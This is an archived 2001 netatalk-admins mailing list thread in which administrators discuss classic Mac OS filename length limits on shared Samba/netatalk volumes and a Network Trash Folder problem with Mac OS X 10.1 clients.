X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300
Importance: Normal

Hello

When I put somes files (with a long filename) from a Windows machine on a
samba share that is also a netatalk share
Mac users don't see files.

Does anyone could explain me what is the problem
Thanks in advance



S H A N G H A I
---------------
28 Rue de Solférino
92100 - Boulogne Billancourt

tél : 01 46 10 46 70
fax : 01 46 10 46 71

info@shanghai.fr
http://www.shanghai.fr


From netatalk.administrators-errors@umich.edu  Tue Oct 16 06:07:41 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA24099
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 16 Oct 2001 06:07:41 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA20378
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 16 Oct 2001 06:07:41 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA20353
	for netatalk.administrators-members@umich.edu; Tue, 16 Oct 2001 06:07:40 -0400 (EDT)
Received: from plato.arts.usyd.edu.au (plato.arts.usyd.edu.au [129.78.16.1])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA20251
	for <netatalk-admins@umich.edu>; Tue, 16 Oct 2001 06:07:38 -0400 (EDT)
Received: from arts.usyd.edu.au (IDENT:matthew@holly.aitch.ucc.usyd.edu.au [129.78.226.234])
	by plato.arts.usyd.edu.au (8.9.3/8.9.3) with ESMTP id UAA04289;
	Tue, 16 Oct 2001 20:06:39 +1000 (EST)
Sender: matthew@plato.arts.usyd.edu.au
Message-ID: <3BCC06A9.CAB05ED2@arts.usyd.edu.au>
Date: Tue, 16 Oct 2001 20:06:33 +1000
From: Matthew Geier <matthew@arts.usyd.edu.au>
Organization: Arts IT Unit, Sydney University
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.10-xfs i686)
X-Accept-Language: en, pdf
MIME-Version: 1.0
To: =?iso-8859-1?Q?S=E9bastien?= CRAMATTE <s.cramatte@shanghai.fr>
CC: netatalk-admins@umich.edu
Subject: Re: Netatalk + Samba on a Mandrake 8 problems
References: <FDEAKNJKAHPCCIPJHBDKCEGNCEAA.s.cramatte@shanghai.fr>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms9C9BD056E1A60252EF8C0547"

This is a cryptographically signed message in MIME format.

--------------ms9C9BD056E1A60252EF8C0547
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Sébastien CRAMATTE wrote:
> 
> Hello
> 
> When I put somes files (with a long filename) from a Windows machine on a
> samba share that is also a netatalk share
> Mac users don't see files.
> 
> Does anyone could explain me what is the problem
> Thanks in advance

'Its not a bug its a feature' :-)

 'Classic' MacOS cannot work with files over 32 characters long.
NetAtalk simply hides them, apparently some versions of finder will
crash if they see a long file name.
 NetAtalk avoids the issue of potential duplicate file names if you
simply truncated the name by simply pretending they don't exist.

 Yes it could be done better, some one needs to write a name 'mangling'
routine similar to what Samba does to get 8.3 names for DOS clients.
--------------ms9C9BD056E1A60252EF8C0547
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIH0AYJKoZIhvcNAQcCoIIHwTCCB70CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BbswggKKMIIB86ADAgECAgMFMYswDQYJKoZIhvcNAQECBQAwgZIxCzAJBgNVBAYTAlpBMRUw
EwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEPMA0GA1UEChMGVGhh
d3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVyc29uYWwg
RnJlZW1haWwgUlNBIDIwMDAuOC4zMDAeFw0wMTA3MDkxOTEyNThaFw0wMjA3MDkxOTEyNTha
MEoxHzAdBgNVBAMTFlRoYXd0ZSBGcmVlbWFpbCBNZW1iZXIxJzAlBgkqhkiG9w0BCQEWGG1h
dHRoZXdAYXJ0cy51c3lkLmVkdS5hdTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA1H+o
MQ4xn5lDS/7p9rYboPW7grw13lXOj7Xisip37QttkX7Ga3ITBXnsAKnuFK3Z7GtILACBXil1
BngLBOd0AlW9zqQBXEOP9aODNJzBsTb3+tOHwQo6shcORKQArKEinG00SuwBdzxALU3KWT6E
yIUSvoz7q0PN4C8qUF3t00sCAwEAAaM1MDMwIwYDVR0RBBwwGoEYbWF0dGhld0BhcnRzLnVz
eWQuZWR1LmF1MAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQECBQADgYEAiJu7SNBXsW7I+ZH9
e2+0M47BmR3DxV31VbW9mKcwuamusWSJJEy5MAKZc8b0snRX/XDkCpM+av3VxDJX8T3rxOE0
siyCC6Tclu6wjwjw0goXK4N6Xhsz+qwIfdoclNZkqK5yInEZtc5ijKr0IPRgch79f35WP82C
SNHVYApmjzgwggMpMIICkqADAgECAgEMMA0GCSqGSIb3DQEBBAUAMIHRMQswCQYDVQQGEwJa
QTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xGjAYBgNVBAoT
EVRoYXd0ZSBDb25zdWx0aW5nMSgwJgYDVQQLEx9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERp
dmlzaW9uMSQwIgYDVQQDExtUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwgQ0ExKzApBgkqhkiG
9w0BCQEWHHBlcnNvbmFsLWZyZWVtYWlsQHRoYXd0ZS5jb20wHhcNMDAwODMwMDAwMDAwWhcN
MDIwODI5MjM1OTU5WjCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTES
MBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNVBAsTFENlcnRpZmlj
YXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBSU0EgMjAwMC44LjMw
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDeMzKmY8cJJUU+0m54J2eBxdqIGYKXDuNE
KYpjNSptcDz63K737nRvMLwzkH/5NHGgo22Y8cNPomXbDfpL8dbdYaX5hc1VmjUanZJ1qCeu
2HL5ugL217CR3hzpq+AYA6h8Q0JQUYeDPPA5tJtUihOH/7ObnUlmAC0JieyUa+mhaQIDAQAB
o04wTDApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRUHJpdmF0ZUxhYmVsMS0yOTcwEgYDVR0T
AQH/BAgwBgEB/wIBADALBgNVHQ8EBAMCAQYwDQYJKoZIhvcNAQEEBQADgYEAcxtvJmWL/xU0
S1liiu1EvknH6A27j7kNaiYqYoQfuIdjdBxtt88aU5FL4c3mONntUPQ6bDSSrOaSnG7BIwHC
CafvS65y3QZn9VBvLli4tgvBUFe17BzX7xe21Yibt6KIGu05Wzl9NPy2lhglTWr0ncXDkS+p
lrgFPFL83eliA0gxggHdMIIB2QIBATCBmjCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdl
c3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNV
BAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBS
U0EgMjAwMC44LjMwAgMFMYswCQYFKw4DAhoFAKCBmTAYBgkqhkiG9w0BCQMxCwYJKoZIhvcN
AQcBMBwGCSqGSIb3DQEJBTEPFw0wMTEwMTYxMDA2MzRaMCMGCSqGSIb3DQEJBDEWBBRaMZXd
HBtlKmiUX9LEAY1LwdSwQjA6BgkqhkiG9w0BCQ8xLTArMAoGCCqGSIb3DQMHMA4GCCqGSIb3
DQMCAgIAgDANBggqhkiG9w0DAgIBQDANBgkqhkiG9w0BAQEFAASBgLEeEmEt1p+2F0eNtFOv
hLhqF1zy0pdfLD9pj6SmQpJ67lp/zG0Zkmk5s5kXpbvnOz/CKXLQlMsVm+er91CTgoNW9lnn
H/LBOccVJcSTRWDjo3CT1Qud3tm7v+YspJxZxwtNwX7uQAFjI6aO7JvjcmvjsPf7nWeqg/SW
mHw0BFiD
--------------ms9C9BD056E1A60252EF8C0547--


From netatalk.administrators-errors@umich.edu  Tue Oct 16 08:34:40 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA28773
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 16 Oct 2001 08:34:40 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA10730
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 16 Oct 2001 08:34:40 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA10710
	for netatalk.administrators-members@umich.edu; Tue, 16 Oct 2001 08:34:39 -0400 (EDT)
Received: from mail8.carolina.rr.com (fe8.southeast.rr.com [24.93.67.55])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA10683
	for <netatalk-admins@umich.edu>; Tue, 16 Oct 2001 08:34:38 -0400 (EDT)
Received: from [192.168.110.21] ([199.72.99.66]) by mail8.carolina.rr.com  with Microsoft SMTPSVC(5.5.1877.687.68);
	 Tue, 16 Oct 2001 08:34:16 -0400
Mime-Version: 1.0
X-Sender: gmac63@pop-server.carolina.rr.com
Message-Id: <a05010400b7f1d9967786@[192.168.110.21]>
In-Reply-To: <FDEAKNJKAHPCCIPJHBDKCEGNCEAA.s.cramatte@shanghai.fr>
References: <FDEAKNJKAHPCCIPJHBDKCEGNCEAA.s.cramatte@shanghai.fr>
Date: Tue, 16 Oct 2001 08:34:15 -0400
To: =?iso-8859-1?Q?S=E9bastien?= CRAMATTE <s.cramatte@shanghai.fr>
From: Wes Yates <gmac63@carolina.rr.com>
Subject: Re: Netatalk + Samba on a Mandrake 8 problems
Cc: netatalk-admins@umich.edu
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id IAA28773

>Hello
>
>When I put somes files (with a long filename) from a Windows machine on a
>samba share that is also a netatalk share
>Mac users don't see files.
>
>Does anyone could explain me what is the problem
>Thanks in advance

Mac's can only see filenames of 32 characters or less. Also no ":".

-Wes

>
>
>S H A N G H A I
>---------------
>28 Rue de Solférino
>92100 - Boulogne Billancourt
>
>tél : 01 46 10 46 70
>fax : 01 46 10 46 71
>
>info@shanghai.fr
>http://www.shanghai.fr

-- 

-Wes Yates
gmac63@carolina.rr.com
wesyates.homeip.net


------------------------
Elementary Reading for New UNIX Users

C:
C:\
C:\DOS
C:\WINDOWS

Run :, Run.
------------------------
Read as:
See Colon.
See Colon escape.
See Colon escape DOS.
See Colon escape Windows.

Run Colon, Run.
------------------------

From netatalk.administrators-errors@umich.edu  Tue Oct 16 09:11:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA00449
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 16 Oct 2001 09:11:23 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA06012
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 16 Oct 2001 09:11:23 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA05995
	for netatalk.administrators-members@umich.edu; Tue, 16 Oct 2001 09:11:22 -0400 (EDT)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA05944
	for <netatalk-admins@umich.edu>; Tue, 16 Oct 2001 09:11:20 -0400 (EDT)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id PAA02377;
	Tue, 16 Oct 2001 15:29:12 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Tue, 16 Oct 2001 15:11:11 +0200
Subject: Re: Netatalk + Samba on a Mandrake 8 problems
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Wes Yates <gmac63@carolina.rr.com>,
        S=?ISO-8859-1?B?6Q==?=bastien CRAMATTE <s.cramatte@shanghai.fr>
CC: <netatalk-admins@umich.edu>
Message-ID: <B7F1FE8E.13428%Thomas.Kaiser@phg-online.de>
In-Reply-To: <a05010400b7f1d9967786@[192.168.110.21]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

am 16.10.2001 14:34 Uhr schrieb Wes Yates:

> Mac's can only see filenames of 32 characters or less.

This is not correct. You mean *31* *bytes*, I think?

AFP prior to 3.0 handles filenames as a 5 byte pascal string (first byte =
length of string). The 31 bytes result in 31 characters when using
single-byte charsets. When using double-byte charsets this will result in a
15 character limit.

With AFP 3.0 this limitation has gone. We will have unicode filenames with
up to 255 bytes and also *both* a long and a short name per file (for older
AFP Clients *and* for SMB clients).

(maybe you want to search for "Catalog Node Names" in
<http://developer.apple.com/techpubs/macosx/Networking/AFP/AFP3.0.pdf>)

> Also no ":".

Well, macs can *see* colons, if the server will deliver filenames with them
inside (the colon "0x3A" is not valid and null 0x00 though). But the mac
won't be able to open such a file/folder because of the special role the
colon has as the path separator.

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Tue Oct 16 10:40:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA03946
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 16 Oct 2001 10:40:03 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA01694
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 16 Oct 2001 10:40:03 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA01673
	for netatalk.administrators-members@umich.edu; Tue, 16 Oct 2001 10:40:02 -0400 (EDT)
Received: from mail5.carolina.rr.com (fe5.southeast.rr.com [24.93.67.52])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA01625
	for <netatalk-admins@umich.edu>; Tue, 16 Oct 2001 10:40:01 -0400 (EDT)
Received: from [192.168.110.21] ([199.72.99.66]) by mail5.carolina.rr.com  with Microsoft SMTPSVC(5.5.1877.687.68);
	 Tue, 16 Oct 2001 10:39:59 -0400
Mime-Version: 1.0
X-Sender: gmac63@pop-server.carolina.rr.com
Message-Id: <a05010400b7f1f6122a72@[192.168.110.21]>
In-Reply-To: <B7F1FE8E.13428%Thomas.Kaiser@phg-online.de>
References: <B7F1FE8E.13428%Thomas.Kaiser@phg-online.de>
Date: Tue, 16 Oct 2001 10:39:58 -0400
To: netatalk-admins@umich.edu
From: Wes Yates <gmac63@carolina.rr.com>
Subject: Re: Netatalk + Samba on a Mandrake 8 problems
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

>am 16.10.2001 14:34 Uhr schrieb Wes Yates:
>
>>  Mac's can only see filenames of 32 characters or less.
>
>This is not correct. You mean *31* *bytes*, I think?

Bytes, characters. its 32. And It should be characters. According to 
all things Apple...

>
>AFP prior to 3.0 handles filenames as a 5 byte pascal string (first byte =
>length of string). The 31 bytes result in 31 characters when using
>single-byte charsets. When using double-byte charsets this will result in a
>15 character limit.
>
>With AFP 3.0 this limitation has gone. We will have unicode filenames with
>up to 255 bytes and also *both* a long and a short name per file (for older
>AFP Clients *and* for SMB clients).

Maybe true with OS9. I have seen evidence of that. But for all 
intense and purposes, stick with 32 (31 if you want) characters for 
legacy systems (<8.x).

>(maybe you want to search for "Catalog Node Names" in
><http://developer.apple.com/techpubs/macosx/Networking/AFP/AFP3.0.pdf>)
>
>>  Also no ":".
>
>Well, macs can *see* colons, if the server will deliver filenames with them
>inside (the colon "0x3A" is not valid and null 0x00 though). But the mac
>won't be able to open such a file/folder because of the special role the
>colon has as the path separator.

Therefor the unusability of the ":"...

>Regards,
>
>Thomas

-Wes
-- 

-Wes Yates
gmac63@carolina.rr.com
wesyates.homeip.net


------------------------
Elementary Reading for New UNIX Users

C:
C:\
C:\DOS
C:\WINDOWS

Run :, Run.
------------------------
Read as:
See Colon.
See Colon escape.
See Colon escape DOS.
See Colon escape Windows.

Run Colon, Run.
------------------------

From netatalk.administrators-errors@umich.edu  Tue Oct 16 11:33:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA06536
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 16 Oct 2001 11:33:08 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA04691
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 16 Oct 2001 11:33:08 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA04672
	for netatalk.administrators-members@umich.edu; Tue, 16 Oct 2001 11:33:07 -0400 (EDT)
Received: from austin-jump.vircio.com (jump-austin.vircio.com [216.30.106.234])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA04626
	for <netatalk-admins@umich.edu>; Tue, 16 Oct 2001 11:33:06 -0400 (EDT)
Received: (qmail 347 invoked by uid 104); 16 Oct 2001 15:33:05 -0000
Received: from cwg-dated-be6c8f90211138a5@deepeddy.com by localhost.localdomain with qmail-scanner-0.90 (uvscan: v4.1.40/v4165. . Clean. Processed in 0.25102 secs); 16/10/2001 10:33:05
Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender <cwg-dated-be6c8f90211138a5@deepeddy.com>)
          by kingcreole.mr.itd.umich.edu (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 16 Oct 2001 15:33:05 -0000
Received: (qmail 28523 invoked by alias); 16 Oct 2001 15:33:04 -0000
From: "Chris Garrigues" <cwg-dated-be6c8f90211138a5@deepeddy.com>
Received: (qmail 28504 invoked from network); 16 Oct 2001 15:33:03 -0000
Received: from deepeddy.vircio.com (HELO deepeddy.com) ([10.1.2.1]) (envelope-sender <cwg@deepeddy.com>) by deepeddy.vircio.com (qmail-ldap-1.03) with SMTP for <netatalk-admins@umich.edu@fixme>; 16 Oct 2001 15:33:03 -0000
X-Mailer: exmh version 2.5 01/15/2001 with nmh-1.0.4
To: netatalk-admins@umich.edu
Subject: visible Network Trash Folder and files deleted immediately.
X-Url: http://www.DeepEddy.Com/~cwg
X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_-1361332888P"; micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Tue, 16 Oct 2001 10:33:03 -0500
Message-ID: <28501.1003246383@deepeddy.com>
Mail-Reply-To: cwg-dated-be6c8f90211138a5@DeepEddy.Com

--==_Exmh_-1361332888P
Content-Type: text/plain; charset=us-ascii

I'm not sure if this is because I just upgraded to 1.5pre8 or not, but my 
Network Trash Folder is visible and when I try to delete things, I get the 
"The item "xxx" will be deleted immediately" message.

The permissions on "Network Trash Folder are:

drwxrwsrwx   2 cwg      staff        1024 Oct 16 10:19 Network Trash Folder

This is with a client running 10.1.

I *thought* this was doing the right thing before.

Chris

-- 
Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
virCIO                          http://www.virCIO.Com
4314 Avenue C                   
Austin, TX  78751-3709		+1 512 374 0500

  My email address is an experiment in SPAM elimination.  For an
  explanation of what we're doing, see http://www.DeepEddy.Com/tms.html 

    The Greatest tragedy in mankind's entire history may be the
      hijacking of morality by religion.  However valuable -- even
      necessary -- that may have been in enforcing good behavior on
      primitive peoples, their association is now counterproductive.
      Yet at the very moment when they should be decoupled,
      sanctimonious nitwits are calling for a return to morals based
      on superstition.
				--- Arthur C. Clarke



--==_Exmh_-1361332888P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Exmh version 2.2_20000822 06/23/2000

iD8DBQE7zFMvK9b4h5R0IUIRAmV0AJ4qkD1zETe9iP1dWyZfREG2woWavACfX3n9
ynABHtEOTvWWoOotQvx1PcU=
=cuL1
-----END PGP SIGNATURE-----

--==_Exmh_-1361332888P--

From netatalk.administrators-errors@umich.edu  Tue Oct 16 14:49:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA15928
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 16 Oct 2001 14:49:18 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA03455
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 16 Oct 2001 14:49:18 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA03444
	for netatalk.administrators-members@umich.edu; Tue, 16 Oct 2001 14:49:17 -0400 (EDT)
Received: from mail-out1.apple.com (mail-out1.apple.com [17.254.0.52])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA03185
	for <netatalk-admins@umich.edu>; Tue, 16 Oct 2001 14:49:16 -0400 (EDT)
Received: from mailgate2.apple.com (A17-129-100-225.apple.com [17.129.100.225])
	by mail-out1.apple.com (8.11.3/8.11.3) with ESMTP id f9GIn6E23506
	for <netatalk-admins@umich.edu>; Tue, 16 Oct 2001 11:49:06 -0700 (PDT)
Received: from scv2.apple.com (scv2.apple.com) by mailgate2.apple.com
 (Content Technologies SMTPRS 4.2.1) with ESMTP id <T56a1c0aaa3118164e17d8@mailgate2.apple.com>;
 Tue, 16 Oct 2001 11:49:05 -0700
Received: from wallle (wallle.apple.com [17.221.40.211])
	by scv2.apple.com (8.11.3/8.11.3) with ESMTP id f9GIn4Q06766;
	Tue, 16 Oct 2001 11:49:04 -0700 (PDT)
Date: Tue, 16 Oct 2001 11:49:04 -0700
Subject: Re: visible Network Trash Folder and files deleted immediately.
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v472)
Cc: Leland Wallace <randall@apple.com>, netatalk-admins@umich.edu
To: Chris Garrigues <cwg-dated-be6c8f90211138a5@deepeddy.com>
From: Leland Wallace <randall@apple.com>
In-Reply-To: <28501.1003246383@deepeddy.com>
Message-Id: <78F4B1C0-C266-11D5-BFB9-000A279495A2@apple.com>
Content-Transfer-Encoding: 7bit
X-Mailer: Apple Mail (2.472)

The Finder trash behavior in Mac OS X does not currently work with afp 
volumes.
We are working on fixing it.

Leland Wallace
AppleShare Client Lead
+-----------------------------------------------------------------------------------
Leland Wallace           Working in            AppleShare Engineering
randall@apple.com    but not speaking for      Apple Computer Inc.
http://www2.inow.com/~randall
+-----------------------------------------------------------------------------------

On Tuesday, October 16, 2001, at 08:33 AM, Chris Garrigues wrote:

> I'm not sure if this is because I just upgraded to 1.5pre8 or not, but 
> my
> Network Trash Folder is visible and when I try to delete things, I get 
> the
> "The item "xxx" will be deleted immediately" message.
>
> The permissions on "Network Trash Folder are:
>
> drwxrwsrwx   2 cwg      staff        1024 Oct 16 10:19 Network Trash 
> Folder
>
> This is with a client running 10.1.
>
> I *thought* this was doing the right thing before.
>
> Chris
>
> --
> Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
> virCIO                          http://www.virCIO.Com
> 4314 Avenue C
> Austin, TX  78751-3709		+1 512 374 0500
>
>   My email address is an experiment in SPAM elimination.  For an
>   explanation of what we're doing, see http://www.DeepEddy.Com/tms.html
>
>     The Greatest tragedy in mankind's entire history may be the
>       hijacking of morality by religion.  However valuable -- even
>       necessary -- that may have been in enforcing good behavior on
>       primitive peoples, their association is now counterproductive.
>       Yet at the very moment when they should be decoupled,
>       sanctimonious nitwits are calling for a return to morals based
>       on superstition.
> 				--- Arthur C. Clarke
>
>
>


From netatalk.administrators-errors@umich.edu  Tue Oct 16 16:13:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA20884
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 16 Oct 2001 16:13:33 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA27554
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 16 Oct 2001 16:13:33 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA27529
	for netatalk.administrators-members@umich.edu; Tue, 16 Oct 2001 16:13:32 -0400 (EDT)
Received: from mhub-c4.tc.umn.edu (mhub-c4.tc.umn.edu [160.94.128.49])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA27498
	for <netatalk-admins@umich.edu>; Tue, 16 Oct 2001 16:13:31 -0400 (EDT)
Received: from garnet.tc.umn.edu by mhub-c4.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Tue, 16 Oct 2001 15:13:30 -0500
Received: from localhost by garnet.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Tue, 16 Oct 2001 15:13:30 -0500
Date: Tue, 16 Oct 2001 15:13:30 -0500 (CDT)
From: Karen A Swanberg <swanberg@tc.umn.edu>
To: netatalk-admins@umich.edu
Subject: Re: Netatalk + Samba on a Mandrake 8 problems
In-Reply-To: <a05010400b7f1f6122a72@[192.168.110.21]>
Message-Id: <Pine.SOL.4.20.0110161511280.20623-100000@garnet.tc.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


on 10/16/01, Wes Yates wisely declared:

> >am 16.10.2001 14:34 Uhr schrieb Wes Yates:
> >
> >>  Mac's can only see filenames of 32 characters or less.
> >
> >This is not correct. You mean *31* *bytes*, I think?
> 
> Bytes, characters. its 32. And It should be characters. According to 
> all things Apple...

Somewhere in the archives, it's mentioned that there are doublebyte fonts
(which I presume mean they use more than one byte per character), hence
the 31 *bytes* comment. I don't know how often this comes up, but it's why
the distinction is made.

-Karen

-                                                                  -
    Karen Swanberg | Sys Admin | Dept. of Geology and Geophysics    
206 Pillsbury Hall | 310 Pillsbury Ave. SE | University of Minnesota
     Minneapolis, MN 55455  (612) 624-6541  (612) 625-3819 (f)

              * <---- Tribble   . <--- Tribble.tgz


From netatalk.administrators-errors@umich.edu  Tue Oct 16 23:03:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA10239
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 16 Oct 2001 23:03:05 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id XAA23504
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 16 Oct 2001 23:03:05 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id XAA23485
	for netatalk.administrators-members@umich.edu; Tue, 16 Oct 2001 23:03:04 -0400 (EDT)
Received: from cwdhost.com ([208.23.123.114])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id XAA23445
	for <netatalk-admins@umich.edu>; Tue, 16 Oct 2001 23:03:03 -0400 (EDT)
Received: (qmail 9029 invoked from network); 16 Oct 2001 12:10:03 -0000
Received: from dsl-gte-19209.linkline.com (HELO hofford) (64.30.206.246)
  by hosfordz.com with SMTP; 16 Oct 2001 12:10:03 -0000
Message-ID: <001901c156ba$509da8e0$f6ce1e40@linkline.com>
From: "Hosfordz Websites" <hosford@hosfordz.com>
